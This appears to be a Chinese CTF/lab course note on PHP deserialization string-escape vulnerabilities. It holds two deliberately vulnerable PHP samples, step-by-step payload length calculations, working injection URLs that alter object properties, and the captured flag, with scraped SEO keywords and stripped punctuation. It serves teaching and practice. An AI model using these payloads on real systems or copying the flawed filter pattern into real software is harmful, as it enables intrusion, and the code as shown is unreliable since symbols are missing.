电子商务公司的经营范围,怎么做好网站搜索引擎优化,163网站建设,专业提供建站模板的公司Web渗透—PHP反序列化 课程学习分享#xff08;课程非本人制作#xff0c;仅提供学习分享#xff09; 靶场下载地址#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程#xff0c;基于课程制作的靶场
课程地址#xff1a;PHP反序列化漏洞学习_哔哩…Web渗透—PHP反序列化 课程学习分享课程非本人制作仅提供学习分享 靶场下载地址GitHub - mcc0624/php_ser_Class: php反序列化靶场课程基于课程制作的靶场
课程地址PHP反序列化漏洞学习_哔哩哔_bilibili 十五、字符串逃逸例题-增多
1.实例代码
目标判断是否passescaping
?php
function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name;
}
class test{var $user;var $passdaydream; //pass默认值为daydreamfunction __construct($user){$this-user$user;}
}
$param$_GET[param]; //$_GET[‘param’]获取值给$param
$paramserialize(new test($param)); //并放在实例化test里作为参数实例化触发__construct赋值给user
$profileunserialize(filter($param)); //对$param值进行安全性检查filter把”flag”,”php”替换为”hack”然后在反序列化
if ($profile-passescaping){ //判断pass是否为escapingecho file_get_contents(flag.php);
}
? 2.解题过程
思路 1字符串过滤后减少还是增多 2构造出关键成员属性序列化字符串 3增多则判断一次吐出多少个字符串 4构造payload并提交
构造关键成员属性序列化字符
?php
class test{var $user123; //任意字符var $passescaping;
}
echo serialize(new test());
? O:4:test:2:{s:4:user;s:3:123;s:4:pass;s:8:escaping;} php被替换成hack字符串增多会吐出字符串变成结构代码一个php吐出1个字符串
flag被替换成hack字符串不变无法吐出字符串变成结构代码 ;s:4:pass;s:8:escaping;} $user可控我们通过param参数进行传参我们需要将$pass及其参数吐出同时我们需要补全前面$user的序列化结构所以我们需要吐出29个字符
构造payload URL?paramphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:pass;s:8:escaping;} 3.回显结果
利用构造的pyload进行参数传递得到flag页面无法直接回显需要查看网页源代码 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}十六、字符串逃逸例题-减少
1.实例代码
目标判断vip是否为真
?php
function filter($name){$safearray(flag,php);$namestr_replace($safe,hk,$name);return $name;
}
class test{var $user;var $pass;var $vip false ; //vip默认值为falsefunction __construct($user,$pass){$this-user$user;$this-pass$pass;}
}
$param$_GET[user];
$pass$_GET[pass];
$paramserialize(new test($param,$pass));
$profileunserialize(filter($param)); //对$parm值user进行安全性检查filter把flag,php替换为hk,然后在反序列化
if ($profile-vip){ //判断vip值是否为真echo file_get_contents(flag.php);
}
? 2.解题过程
思路 1字符串过滤后减少还是增多 2构造出关键成员属性序列化字符串 3减少则判断吃掉的内容并计算长度 4构造pyload并提交
构造关键成员属性序列化字符
?php
class test{var $user 123; //任意字符var $pass 123; //任意字符var $vip true;
}
echo serialize(new test());
? O:4:test:3:{s:4:user;s:3:123;s:4:pass;s:3:123;s:3:vip;b:1;} php被替换成hk字符串减少会吃掉字符串变成结构代码一个php吃掉1个字符串
flag被替换成hk字符串减少会吃掉字符串变成结构代码一个flag吃掉2个字符串 ;s:4:pass;s:3:123;s:3:vip;b:1;} $user和$pass可控我们通过user和pass参数进行传参我们需要将$pass及其参数吃掉只保留参数内容以及结构 符号同时我们需要补全前面$user的序列化结构所以我们需要吃掉19个字符flag每次吃掉2个字符吃19个字符最少要吃10次所以我们会多吃1位在后面字符位置补 在PHP中当进行序列化时字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中字符串的长度使用一个表示字符数的整数来进行标识。 构造payload URL?userflagflagflagflagflagflagflagflagflagflagpass1;s:4:pass;s:3:123;s:3:vip;b:1;} 3.回显结果
利用构造的pyload进行参数传递得到flag页面无法直接回显需要查看网页源代码 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}